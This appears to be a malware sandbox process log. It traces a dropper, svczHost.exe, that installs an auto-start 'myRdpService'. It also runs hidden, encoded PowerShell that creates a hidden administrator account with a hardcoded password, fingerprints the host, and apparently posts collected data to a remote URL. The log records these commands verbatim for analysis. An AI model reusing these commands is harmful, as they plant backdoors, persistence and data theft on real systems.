AHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /v /k "powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiarabbaeuaoabbafoaqqbcahaaqqbhadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbgaeeasabraeeavqb3aeiavqbbaegasqbbafmauqbcae8aqqbfagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcaggaqqbgag8aqqbrafeaqqa5aeearaawaeeasqbnaeeacabbaemaawbbaesauqbbahaaqqbdadqaqqbrahcaqgbqaeearqa0aeeazabbaeiargbbaeuanabbagqaqqbbahaaqqbdagsaqqaiaa=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiarabbaeuaoabbafoaqqbcahaaqqbhadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbgaeeasabraeeavqb3aeiavqbbaegasqbbafmauqbcae8aqqbfagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcaggaqqbgag8aqqbrafeaqqa5aeearaawaeeasqbnaeeacabbaemaawbbaesauqbbahaaqqbdadqaqqbrahcaqgbqaeearqa0aeeazabbaeiargbbaeuanabbagqaqqbbahaaqqbdagsaqqaiaa=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand sqbfafgaiaaoafsavabfafgavaauaeuatgbdae8azabpag4arwbdadoaogbvafqarga4ac4arwbfahqauwbuahiasqboaecakaaoaekavwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5agoaygayae4adgbiafcavgawagearwa5agsawgbtaduaawbaafmaoqbhafoaqqa9ad0aigapackakqapac4aqwbpae4adabfae4adaapacka
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa4ageaoaa0agmamwa2adaaoqazadiamwbkaguangbjagqaoqbjadianqbhadeaoaa1adeazaawagqaywbkadgayqayagyamwbiadaaoqa3adcangbiagyaoabladcazaa0agqanga0adaamgbhadyanwayadaaywaxageazabkadgaoqbhadiamwbkaduazqbkadeamgbladaanqbjagyamgbmaduamwbkadcaygawadeanqbladcangbiagqanqbiadgamgayadmaoqa5adganwbjadaanaa5agqazqbmagiaoqbiaguanwa3adcanqbmadaayga1adaazqaxadmamabkadgazabiaguazabladqanqa4adgayqawadyazqawagiaygawaduanga4agiaywa5agqaywa1ageaoqa1adkamaa1adgazaaxagiaoqa4adcamwayagiayga4agqayqa0agmamaa3agqaygbiaduanga3agyaoqazagyamwa3adaangbkagqangayagyazaayadeazga1aguayqbladeanwayagqanqawadiangbjagqazaa1adianwa5agyaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa4ageaoaa0agmamwa2adaaoqazadiamwbkaguangbjagqaoqbjadianqbhadeaoaa1adeazaawagqaywbkadgayqayagyamwbiadaaoqa3adcangbiagyaoabladcazaa0agqanga0adaamgbhadyanwayadaaywaxageazabkadgaoqbhadiamwbkaduazqbkadeamgbladaanqbjagyamgbmaduamwbkadcaygawadeanqbladcangbiagqanqbiadgamgayadmaoqa5adganwbjadaanaa5agqazqbmagiaoqbiaguanwa3adcanqbmadaayga1adaazqaxadmamabkadgazabiaguazabladqanqa4adgayqawadyazqawagiaygawaduanga4agiaywa5agqaywa1ageaoqa1adkamaa1adgazaaxagiaoqa4adcamwayagiayga4agqayqa0agmamaa3agqaygbiaduanga3agyaoqazagyamwa3adaangbkagqangayagyazaayadeazga1aguayqbladeanwayagqanqawadiangbjagqazaa1adianwa5agyaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpacaapqagadaaowagac
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
